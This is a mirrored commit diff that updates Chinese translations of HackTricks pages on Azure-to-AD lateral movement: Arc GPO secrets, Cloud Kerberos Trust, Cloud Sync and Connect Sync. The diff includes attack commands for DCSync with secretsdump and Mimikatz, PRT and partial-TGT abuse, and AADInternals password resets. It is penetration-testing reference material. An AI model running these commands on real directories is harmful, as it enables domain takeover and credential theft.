gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-29 07:00:29 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

Browse Source
This commit is contained in:
Translator
2025-07-30 04:48:34 +00:00
parent 2966dbe40c
commit bec338459d
13 changed files with 126 additions and 124 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
+5 -5
View File
@@ -11,7 +11,7 @@ Azure Arc 允许通过组策略对象方法将新的内部服务器（加入域
1. 在本地域中创建 Azure Arc 服务器入驻 GPO。
2. 将 EnableAzureArc.ps1 入驻脚本复制到为入驻过程创建的指定网络共享中，该共享还包含 Windows 安装程序包。
运行此脚本时，系统管理员需要提供两个主要参数：**ServicePrincipalId** 和 **ServicePrincipalClientSecret**。此外，还需要其他参数，例如域、托管共享的服务器的 FQDN 和共享名称。还必须向脚本提供租户 ID、资源组和其他必要信息等详细信息。
运行此脚本时，系统管理员需要提供两个主要参数：**ServicePrincipalId** 和 **ServicePrincipalClientSecret**。此外，它还需要其他参数，例如域、托管共享的服务器的 FQDN 和共享名称。还必须向脚本提供租户 ID、资源组和其他必要信息等详细信息。
在指定共享的 AzureArcDeploy 目录中使用 DPAPI-NG 加密生成一个加密的秘密。加密的秘密存储在名为 encryptedServicePrincipalSecret 的文件中。可以在 DeployGPO.ps1 脚本中找到证据，其中通过调用 ProtectBase64 以 $descriptor 和 $ServicePrincipalSecret 作为输入来执行加密。描述符由域计算机和域控制器组 SID 组成，确保 ServicePrincipalSecret 只能由域控制器和域计算机安全组解密，如脚本注释中所述。
```bash
@@ -27,10 +27,10 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
我们有以下条件：
1. 我们已经成功渗透了内部网络。
2. 我们有能力在Active Directory中创建或控制计算机账户。
3. 我们发现了一个包含AzureArcDeploy目录的网络共享。
2. 我们有能力在 Active Directory 中创建或控制计算机帐户。
3. 我们发现了一个包含 AzureArcDeploy 目录的网络共享。
在AD环境中获取计算机账户有几种方法。最常见的方法之一是利用计算机账户配额。另一种方法涉及通过脆弱的ACL或各种其他错误配置来妥协计算机账户。
在 AD 环境中获取计算机帐户有几种方法。最常见的方法之一是利用计算机帐户配额。另一种方法涉及通过易受攻击的 ACL 或各种其他错误配置来破坏计算机帐户。
```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
@@ -54,7 +54,7 @@ $ebs
```
另外，我们可以使用 [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG)。
此时，我们可以从存储在与 encryptedServicePrincipalSecret 文件相同的网络共享上的 ArcInfo.json 文件中收集连接到 Azure 所需的其余信息。该文件包含以下详细信息：TenantId、servicePrincipalClientId、ResourceGroup 等。凭借这些信息，我们可以使用 Azure CLI 以被攻陷的服务主体进行身份验证。
此时，我们可以从存储在与 encryptedServicePrincipalSecret 文件相同的网络共享上的 ArcInfo.json 文件中收集连接到 Azure 所需的其余信息。该文件包含以下详细信息：TenantId、servicePrincipalClientId、ResourceGroup 等。凭借这些信息，我们可以使用 Azure CLI 以被攻陷的服务主体身份进行身份验证。
## References
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md
+12 -12
View File
@@ -1,16 +1,16 @@
# Az - Cloud Kerberos Trust
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
**本文是** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **的总结，可以查看以获取有关攻击的更多信息。此技术在** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**中也有评论。**
## Kerberos Trust Relationship Overview
**Cloud Kerberos Trust (Entra ID -> AD)** -- 此功能（Windows Hello for Business的一部分）建立了一种单向信任，其中本地 AD **信任 Entra ID** 为 AD 发放 Kerberos 票证。启用后，会在 AD 中创建一个 **AzureADKerberos$** 计算机对象（显示为只读域控制器）和一个链接的 **`krbtgt_AzureAD`** 账户（一个次级 KRBTGT）。Entra ID 持有这些账户的密钥，并可以为 AD 用户发放“部分” Kerberos TGT。AD 域控制器将尊重这些票证，但具有 RODC 类似的限制：默认情况下，**高权限组（域管理员、企业管理员等）被 *拒绝***，普通用户被允许。这防止了 Entra ID 在正常情况下通过信任对域管理员进行身份验证。然而，正如我们将看到的，具有足够 Entra ID 权限的攻击者可以滥用这种信任设计。
**Cloud Kerberos Trust (Entra ID -> AD)** -- 此功能（Windows Hello for Business的一部分）建立了一种单向信任，其中本地 AD **信任 Entra ID** 为 AD 发放 Kerberos 票证。启用后，会在 AD 中创建一个 **AzureADKerberos$** 计算机对象（显示为只读域控制器）和一个链接的 **`krbtgt_AzureAD`** 账户（一个次级 KRBTGT）。Entra ID 持有这些账户的密钥，并可以为 AD 用户发放“部分” Kerberos TGT。AD 域控制器将尊重这些票证，但具有类似 RODC 的限制：默认情况下，**高权限组（域管理员、企业管理员等）被 *拒绝***，普通用户被允许。这防止了 Entra ID 在正常情况下通过信任对域管理员进行身份验证。然而，正如我们将看到的，具有足够 Entra ID 权限的攻击者可以滥用这种信任设计。
## Pivoting from Entra ID to On-Prem AD
**场景：** 目标组织已为无密码身份验证启用了 **Cloud Kerberos Trust**。攻击者在 Entra ID（Azure AD）中获得了 **全局管理员** 权限，但尚未控制本地 AD。攻击者还在网络上获得了对域控制器的访问（通过 VPN 或在混合网络中的 Azure VM）。利用云信任，攻击者可以利用 Azure AD 控制在 AD 中获得 **域管理员** 级别的立足点。
**场景：** 目标组织已为无密码身份验证启用了 **Cloud Kerberos Trust**。攻击者在 Entra ID（Azure AD）中获得了 **全局管理员** 权限，但尚未控制本地 AD。攻击者还在网络上获得了对域控制器的访问（通过 VPN 或混合网络中的 Azure VM）。利用云信任，攻击者可以利用 Azure AD 控制在 AD 中获得 **域管理员** 级别的立足点。
**前提条件：**
@@ -18,20 +18,20 @@
- 攻击者在 Entra ID 租户中拥有 **全局管理员（或混合身份管理员）** 权限（这些角色可以使用 AD Connect **同步 API** 修改 Azure AD 用户）。
- 至少有一个 **混合用户账户**（在 AD 和 AAD 中都存在），攻击者可以以该账户进行身份验证。这可以通过知道或重置其凭据或分配无密码方法（例如，临时访问通行证）来生成其主刷新令牌（PRT）。
- 至少有一个 **混合用户账户**（在 AD 和 AAD 中都存在），攻击者可以以该账户进行身份验证。这可以通过知道或重置其凭据，或为其分配无密码方法（例如，临时访问通行证）来生成主刷新令牌（PRT）。
- 一个 **本地 AD 目标账户**，具有高权限且不在默认 RODC “拒绝” 策略中。实际上，一个很好的目标是 **AD Connect 同步账户**（通常命名为 **MSOL_***），该账户在 AD 中具有 DCSync（复制）权限，但通常不是内置管理员组的成员。该账户通常不会同步到 Entra ID，使其 SID 可用于无冲突地冒充。
**攻击步骤：**
1. **获取 Azure AD 同步 API 访问权限：** 使用全局管理员账户，获取 Azure AD **Provisioning (sync) API** 的访问令牌。这可以通过 **ROADtools** 或 **AADInternals** 等工具完成。例如，使用 ROADtools (roadtx)：
1. **获取 Azure AD 同步 API 访问权限：** 使用全局管理员账户，获取 Azure AD **Provisioning (sync) API** 的访问令牌。这可以通过 **ROADtools** 或 **AADInternals** 等工具完成。例如，使用 ROADtools（roadtx）：
```bash
# Using roadtx to get an Azure AD Graph token (no MFA)
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
```
*(或者，可以使用 AADInternals 的 `Connect-AADInt` 作为全球管理员进行身份验证。)*
*(或者，可以使用 AADInternals 的 `Connect-AADInt` 作为全局管理员进行身份验证。)*
2. **修改混合用户的本地属性：** 利用 Azure AD **同步 API** 将所选混合用户的 **onPremises 安全标识符 (SID)** 和 **onPremises SAMAccountName** 设置为与目标 AD 账户匹配。这有效地告诉 Azure AD 云用户对应于我们想要冒充的本地账户。使用开源的 **ROADtools Hybrid** 工具包：
2. **修改混合用户的本地属性：** 利用 Azure AD **同步 API** 将选定混合用户的 **onPremises 安全标识符 (SID)** 和 **onPremises SAMAccountName** 设置为与目标 AD 账户匹配。这有效地告诉 Azure AD 云用户对应于我们想要冒充的本地账户。使用开源的 **ROADtools Hybrid** 工具包：
```bash
# Example: modify a hybrid user to impersonate the MSOL account
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
@@ -46,21 +46,21 @@ roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
```
这会输出一个 `.prt` 文件，其中包含部分 TGT 和会话密钥。如果账户是云专用密码，Azure AD 仍然在 PRT 响应中包含 TGT_AD。
4. **用部分 TGT 交换完整 TGT（在 AD 上）：** 现在可以将部分 TGT 提交给本地域控制器，以获取目标账户的 **完整 TGT**。我们通过对 `krbtgt` 服务（域的主要 TGT 服务）执行 TGS 请求来实现这一点——本质上是将票证升级为带有完整 PAC 的正常 TGT。可以使用工具来自动化此交换。例如，使用 ROADtools Hybrid 的脚本：
4. **用部分 TGT 交换完整 TGT（在 AD 上）：** 现在可以将部分 TGT 提交给本地域控制器，以获取目标账户的 **完整 TGT**。我们通过对 `krbtgt` 服务（域的主要 TGT 服务）执行 TGS 请求来实现这一点——本质上是将票证升级为具有完整 PAC 的正常 TGT。可以使用工具来自动化此交换。例如，使用 ROADtools Hybrid 的脚本：
```bash
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
```
这个脚本（或 ImPacket 等效工具）将联系域控制器并为目标 AD 账户检索有效的 TGT，包括账户的 NTLM 哈希（如果使用了特殊的 Kerberos 扩展）。**`KERB-KEY-LIST-REQ`** 扩展会自动包含，以请求 DC 在加密回复中返回目标账户的 NTLM 哈希。结果是一个凭证缓存（`full_tgt.ccache`），用于目标账户 *或* 恢复的 NTLM 密码哈希。
这个脚本（或 Impacket 等效项）将联系域控制器并为目标 AD 账户检索有效的 TGT，包括如果使用了特殊的 Kerberos 扩展，则该账户的 NTLM 哈希。**`KERB-KEY-LIST-REQ`** 扩展会自动包含，以请求 DC 在加密回复中返回目标账户的 NTLM 哈希。结果是一个凭证缓存（`full_tgt.ccache`），用于目标账户 *或* 恢复的 NTLM 密码哈希。
5. **冒充目标并提升为域管理员：** 现在攻击者有效地 **控制了目标 AD 账户**。例如，如果目标是 AD Connect **MSOL 账户**，它在目录上具有复制权限。攻击者可以使用该账户的凭证或 Kerberos TGT 执行 **DCSync** 攻击，从 AD 中转储密码哈希（包括域 KRBTGT 账户）。例如：
5. **模拟目标并提升为域管理员：** 现在攻击者有效地 **控制了目标 AD 账户**。例如，如果目标是 AD Connect **MSOL 账户**，它在目录上具有复制权限。攻击者可以使用该账户的凭证或 Kerberos TGT 执行 **DCSync** 攻击，从 AD 中转储密码哈希（包括域 KRBTGT 账户）。例如：
```bash
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
```
这会转储所有 AD 用户密码哈希，给攻击者 KRBTGT 哈希（让他们可以随意伪造域 Kerberos 票证）并有效地获得对 AD 的 **域管理员** 权限。如果目标账户是另一个特权用户，攻击者可以使用完整的 TGT 以该用户的身份访问任何域资源。
6. **清理：** 可选地，攻击者可以通过相同的 API 恢复被修改的 Azure AD 用户的原始 `onPremisesSAMAccountName` 和 SID，或简单地删除任何创建的临时用户。在许多情况下，下一个 Azure AD Connect 同步周期将自动还原同步属性上的未经授权的更改。（然而，到那时损害已经造成——攻击者已经获得 DA 权限。）
6. **清理：** 可选地，攻击者可以通过相同的 API 恢复被修改的 Azure AD 用户的原始 `onPremisesSAMAccountName` 和 SID，或简单地删除任何创建的临时用户。在许多情况下，下一个 Azure AD Connect 同步周期将自动还原同步属性上的未经授权的更改。（然而，到那时损害已经造成——攻击者已获得 DA 权限。）
> [!WARNING]
> 通过滥用云信任和同步机制，Azure AD 的全局管理员可以冒充几乎 *任何* 没有被 RODC 策略明确保护的 AD 账户，即使该账户从未进行过云同步。在默认配置下，这 **建立了从 Azure AD 破坏到本地 AD 破坏的完全信任**。
@@ -69,4 +69,4 @@ secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
- [通过云 Kerberos 信任从 Azure AD 获取域管理员](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md
+18 -18
View File
@@ -1,28 +1,28 @@
# Az - Cloud Sync
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## 基本信息
**Cloud Sync** 基本上是 Azure 用于 **将用户从 AD 同步到 Entra ID** 的新方式。
[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync 是 Microsoft 提供的一项新服务，旨在满足并实现您在用户、组和联系人同步到 Microsoft Entra ID 的混合身份目标。它通过使用 Microsoft Entra 云配置代理而不是 Microsoft Entra Connect 应用程序来实现这一点。然而，它可以与 Microsoft Entra Connect Sync 一起使用。
[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync 是 Microsoft 提供的一项新服务，旨在满足和实现您在用户、组和联系人同步到 Microsoft Entra ID 的混合身份目标。它通过使用 Microsoft Entra 云配置代理而不是 Microsoft Entra Connect 应用程序来实现这一点。然而，它可以与 Microsoft Entra Connect Sync 一起使用。
### 生成的主体
为了使其正常工作，在 Entra ID 和本地目录中创建了一些主体：
- 在 Entra ID 中，创建了用户 `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`)，其角色为 **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`)。
- 在 Entra ID 中，用户 `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) 被创建，角色为 **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`)。
> [!WARNING]
> 此角色曾经拥有许多特权权限，可以用于 [**提升权限甚至到全局管理员**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)。然而，Microsoft 决定删除此角色的所有权限，并仅分配一个新角色 **`microsoft.directory/onPremisesSynchronization/standard/read`**，该角色实际上不允许执行任何特权操作（如修改用户的密码或属性或向 SP 添加新凭据）。
> 此角色曾经拥有很多特权权限，可以用来 [**提升权限甚至到全局管理员**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)。然而，Microsoft 决定移除此角色的所有权限，并仅分配一个新的 **`microsoft.directory/onPremisesSynchronization/standard/read`**，这实际上不允许执行任何特权操作（如修改用户的密码或属性或向 SP 添加新凭据）。
- 在 Entra ID 中，还创建了没有成员或所有者的组 **`AAD DC Administrators`**。如果使用 [`Microsoft Entra Domain Services`](./az-domain-services.md)，此组非常有用。
- 在 AD 中，创建了服务帐户 **`provAgentgMSA`**，其 SamAccountName 类似于 **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`)，或者需要具有 [**这些权限的自定义帐户**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)。通常会创建默认帐户。
- 在 AD 中，服务帐户 **`provAgentgMSA`** 被创建，SamAccountName 类似于 **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`)，或者需要具有 [**这些权限的自定义帐户**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)。通常会创建默认帐户。
> [!WARNING]
> 除其他权限外，服务帐户 **`provAgentgMSA`** 具有 DCSync 权限，允许 **任何人一旦妥协它就能妥协整个目录**。有关 DCSync 的更多信息，请查看 [DCSync 检查此](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。
> 除其他权限外，服务帐户 **`provAgentgMSA`** 拥有 DCSync 权限，允许 **任何人一旦妥协它就能妥协整个目录**。有关 DCSync 的更多信息，请查看 [此处](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。
> [!NOTE]
> 默认情况下，具有 **`adminCount` 为 1 的已知特权组（如域管理员）的用户出于安全原因不会与 Entra ID 同步。然而，其他没有此属性的特权组成员或直接分配高权限的用户 **可以被同步**。
@@ -35,20 +35,20 @@
az-connect-sync.md
{{#endref}}
- **密码哈希同步** 可以启用，以便用户能够 **使用其 AD 密码登录 Entra ID**。此外，每当在 AD 中修改密码时，它将在 Entra ID 中更新。
- **密码回写** 也可以启用，允许用户在 Entra ID 中修改其密码，并自动同步其在本地域中的密码。但根据 [当前文档](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback)，这需要使用 Connect Agent，因此请查看 [Az Connect Sync 部分](./az-connect-sync.md) 以获取更多信息。
- **组回写**：此功能允许将 Entra ID 中的组成员资格同步回本地 AD。这意味着如果用户被添加到 Entra ID 中的组，他们也将被添加到 AD 中的相应组。
- **密码哈希同步** 可以启用，以便用户能够 **使用他们在 AD 中的密码登录 Entra ID**。此外，每当在 AD 中修改密码时，它将在 Entra ID 中更新。
- **密码回写** 也可以启用，允许用户在 Entra ID 中修改他们的密码，并自动同步他们在本地域中的密码。但根据 [当前文档](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback)，这需要使用 Connect Agent，因此请查看 [Az Connect Sync 部分](./az-connect-sync.md) 以获取更多信息。
- **组回写**：此功能允许 Entra ID 中的组成员资格同步回本地 AD。这意味着如果用户被添加到 Entra ID 中的组，他们也将被添加到 AD 中的相应组。
## 侧向移动
### AD --> Entra ID
- 如果 AD 用户正在从 AD 同步到 Entra ID，则从 AD 到 Entra ID 的侧向移动非常简单，只需 **妥协某个用户的密码或更改某个用户的密码或创建一个新用户并等待其同步到 Entra ID 目录（通常只需几分钟）**。
- 如果 AD 用户正在从 AD 同步到 Entra ID，则从 AD 到 Entra ID 的侧向移动是直接的，只需 **妥协某个用户的密码或更改某个用户的密码，或创建一个新用户并等待它同步到 Entra ID 目录（通常只需几分钟）**。
因此，您可以例如
- 妥协 **`provAgentgMSA`** 帐户，执行 DCSync 攻击，破解某个用户的密码，然后使用它登录 Entra ID。
- 只需在 AD 中创建一个新用户，等待其同步到 Entra ID，然后使用它登录 Entra ID。
- 修改 AD 中某个用户的密码，等待其同步到 Entra ID，然后使用它登录 Entra ID。
例如，您可以：
- 妥协 **`provAgentgMSA`** 帐户，执行 DCSync 攻击，破解某个用户的密码，然后用它登录 Entra ID。
- 只需在 AD 中创建一个新用户，等待它同步到 Entra ID，然后用它登录 Entra ID。
- 修改 AD 中某个用户的密码，等待它同步到 Entra ID，然后用它登录 Entra ID。
要妥协 **`provAgentgMSA`** 凭据：
```powershell
@@ -129,12 +129,12 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: 在源 'C:\Program Files (
- 如果启用了 **Password Writeback**，您可以从 Entra ID 修改某些用户的密码，如果您可以访问 AD 网络，则可以使用这些密码进行连接。有关更多信息，请查看 [Az Connect Sync section](./az-connect-sync.md) 部分，因为密码写回是通过该代理配置的。
- 此时，Cloud Sync 还允许 **"Microsoft Entra ID to AD"**，但经过一段时间后我发现它无法将 EntraID 用户同步到 AD，只能同步与密码哈希同步的 EntraID 用户，并且这些用户必须来自与我们正在同步的域属于同一域林的域，正如您在 [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) 中所述：
- 此时，Cloud Sync 还允许 **"Microsoft Entra ID to AD"**，但经过一段时间后我发现它无法将 EntraID 用户同步到 AD，并且它只能同步与密码哈希同步的 EntraID 用户，这些用户来自与我们正在同步的域属于同一域林的域，正如您在 [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) 中所读到的：
> - 这些组只能包含本地同步的用户和/或额外的云创建的安全组。
> - 被同步的本地用户帐户和此云创建的安全组的成员可以来自同一域或跨域，但它们必须来自同一林。
> - 被同步的本地用户帐户和此云创建的安全组的成员，可以来自同一域或跨域，但它们必须来自同一林。
因此，该服务的攻击面（和实用性）大大降低，因为攻击者需要破坏用户同步的初始 AD，才能破坏另一个域中的用户（而且显然两个域必须在同一林中）。
因此，该服务的攻击面（和实用性）大大降低，因为攻击者需要破坏初始 AD，才能破坏其他域中的用户（而且这两个域显然必须在同一林中）。
### Enumeration
```bash
@@ -148,4 +148,4 @@ az rest \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
```
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md
+17 -17
View File
@@ -1,6 +1,6 @@
# Az - Connect Sync
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## 基本信息
@@ -18,7 +18,7 @@ az-cloud-sync.md
### 生成的主体
- 账户 **`MSOL_<installationID>`** 会在本地 AD 中自动创建。该账户被赋予 **目录同步账户** 角色 (参见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions))，这意味着它在本地 AD 中具有 **复制 (DCSync) 权限**。
- 账户 **`MSOL_<installationID>`** 会在本地 AD 中自动创建。该账户被赋予 **目录同步账户** 角色 (见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions))，这意味着它在本地 AD 中具有 **复制 (DCSync) 权限**。
- 这意味着任何妥协此账户的人都将能够妥协本地域。
- 在本地 AD 中创建了一个受管服务账户 **`ADSyncMSA<id>`**，没有任何特殊的默认权限。
- 在 Entra ID 中，服务主体 **`ConnectSyncProvisioning_ConnectSync_<id>`** 会与证书一起创建。
@@ -31,14 +31,14 @@ az-cloud-sync.md
[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **密码哈希同步** 是实现混合身份的一种登录方法。**Azure AD Connect** 将用户密码的哈希值的哈希值从本地 Active Directory 实例同步到基于云的 Azure AD 实例。
基本上，所有 **用户** 和 **密码哈希的哈希** 都从本地同步到 Azure AD。然而，**明文密码** 或 **原始** **哈希** 不会发送到 Azure AD。
基本上，所有 **用户** 和 **密码哈希的哈希值** 都从本地同步到 Azure AD。然而，**明文密码** 或 **原始** **哈希** 不会发送到 Azure AD。
**哈希同步** 每 **2 分钟** 发生一次。然而，默认情况下，**密码过期** 和 **账户** **过期** 在 Azure AD 中 **不进行同步**。因此，**本地密码过期**（未更改）的用户可以继续使用旧密码 **访问 Azure 资源**。
当本地用户想要访问 Azure 资源时，**身份验证发生在 Azure AD 上**。
> [!NOTE]
> 默认情况下，已知特权组（如域管理员）中具有 **`adminCount` 为 1 的属性的用户出于安全原因不会与 Entra ID 同步。然而，其他没有此属性或直接分配高权限的特权组中的用户 **可以被同步**。
> 默认情况下，已知特权组（如域管理员）中具有 **`adminCount` 为 1 的属性的用户不会与 Entra ID 同步，出于安全原因。然而，其他没有此属性或直接分配高权限的特权组中的用户 **可以被同步**。
### 密码回写
@@ -54,7 +54,7 @@ az-cloud-sync.md
- 可以向 Active Directory 发布证书的 **`Cert Publishers Group`** 中的用户。
- 任何其他没有 **`adminCount` 属性为 1** 的高权限组的用户。
## AD --> Entra ID 的枢转
## AD --> Entra ID 的枢轴
### 枚举 Connect Sync
@@ -83,16 +83,16 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
```
### 查找密码
**`MSOL_*`** 用户（以及如果创建的 **Sync\_\*** 用户）的密码 **存储在 SQL 服务器** 上，该服务器上 **安装了 Entra ID Connect。** 管理员可以以明文形式提取这些特权用户的密码。\
**`MSOL_*`** 用户（以及如果创建的 **Sync\_\*** 用户）的密码 **存储在 SQL 服务器** 上，该服务器上安装了 **Entra ID Connect。** 管理员可以以明文形式提取这些特权用户的密码。\
数据库位于 `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`。
可以从其中一个表中提取配置，其中一个是加密的：
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
**加密配置** 是使用 **DPAPI** 加密的，它包含了本地 AD 中 **`MSOL_*`** 用户的密码和 AzureAD 中 **Sync\_\*** 的密码。因此，妥协这些密码可以提升到 AD 和 AzureAD 的权限。
**加密配置** 使用 **DPAPI** 加密，包含 **`MSOL_*`** 用户在本地 AD 中的密码和 **Sync\_\*** 在 AzureAD 中的密码。因此，妥协这些密码可以提升到 AD 和 AzureAD 的权限。
您可以在此演讲中找到 [关于这些凭据如何存储和解密的完整概述](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
您可以在 [此演讲中找到有关这些凭据如何存储和解密的完整概述](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
### 滥用 MSOL\_*
```bash
@@ -112,9 +112,9 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!WARNING]
> 之前的攻击泄露了另一个密码，以便连接到名为 `Sync_*` 的 Entra ID 用户，然后妥协了 Entra ID。然而，该用户不再存在。
> 之前的攻击泄露了另一个密码，以便连接到名为 `Sync_*` 的 Entra ID 用户，然后危害了 Entra ID。然而，该用户不再存在。
### 滥用 ConnectSyncProvisioning_ConnectSync\_<id>
### Abusing ConnectSyncProvisioning_ConnectSync\_<id>
此应用程序创建时没有分配任何 Entra ID 或 Azure 管理角色。然而，它具有以下 API 权限：
@@ -126,20 +126,20 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
- `PasswordWriteback.RegisterClientVersion.All`
提到该应用程序的服务主体仍然可以使用未记录的 API 执行一些特权操作，但据我所知尚未找到 PoC。\
无论如何，考虑到这可能是可行的，进一步探索如何找到证书以作为此服务主体登录并尝试滥用它将是有趣的。
无论如何，考虑到这可能是可行的，进一步探索如何找到证书以作为此服务主体登录并尝试利用它将是有趣的。
这篇 [博客文章](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) 在从使用 `Sync_*` 用户更改为此服务主体之前不久发布，解释了证书存储在服务器内部，并且可以找到它，生成其 PoP（拥有证明）和图形令牌，借此能够向服务主体添加新证书（因为 **服务主体** 始终可以为自己分配新证书），然后利用它保持作为 SP 的持久性。
这篇 [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) 在从使用 `Sync_*` 用户更改为此服务主体之前不久发布，解释了证书存储在服务器内部，并且可以找到它，生成其 PoP（拥有证明）和图形令牌，并通过此方式能够向服务主体添加新证书（因为 **服务主体** 始终可以为自己分配新证书），然后使用它保持作为 SP 的持久性。
为了执行这些操作，发布了以下工具：[SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils)。
根据我的经验，证书不再存储在之前工具查找的地方，因此该工具不再有效。因此，可能需要进一步研究。
### 滥用 Sync\_\* [已弃用]
### Abusing Sync\_\* [DEPRECATED]
> [!WARNING]
> 之前在 Entra ID 中创建了一个名为 `Sync_*` 的用户，分配了非常敏感的权限，允许执行特权操作，如修改任何用户的密码或向服务主体添加新凭据。然而，从 2025 年 1 月起，该用户不再默认创建，因为现在使用的是应用程序/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**。然而，它可能仍然存在于某些环境中，因此值得检查。
> 之前在 Entra ID 中创建了一个名为 `Sync_*` 的用户，并分配了非常敏感的权限，这允许执行特权操作，如修改任何用户的密码或向服务主体添加新凭据。然而，从 2025 年 1 月起，该用户不再默认创建，因为现在使用的是应用程序/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**。然而，它可能仍然存在于某些环境中，因此值得检查。
妥协 **`Sync_*`** 账户可以 **重置任何用户的密码**（包括全局管理员）。
危害 **`Sync_*`** 账户可以 **重置任何用户的密码**（包括全局管理员）
```bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
@@ -163,7 +163,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
也可以**仅修改云**用户的密码（即使这出乎意料）
也可以**仅修改云**用户的密码（即使这很意外）
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
@@ -199,4 +199,4 @@ seamless-sso.md
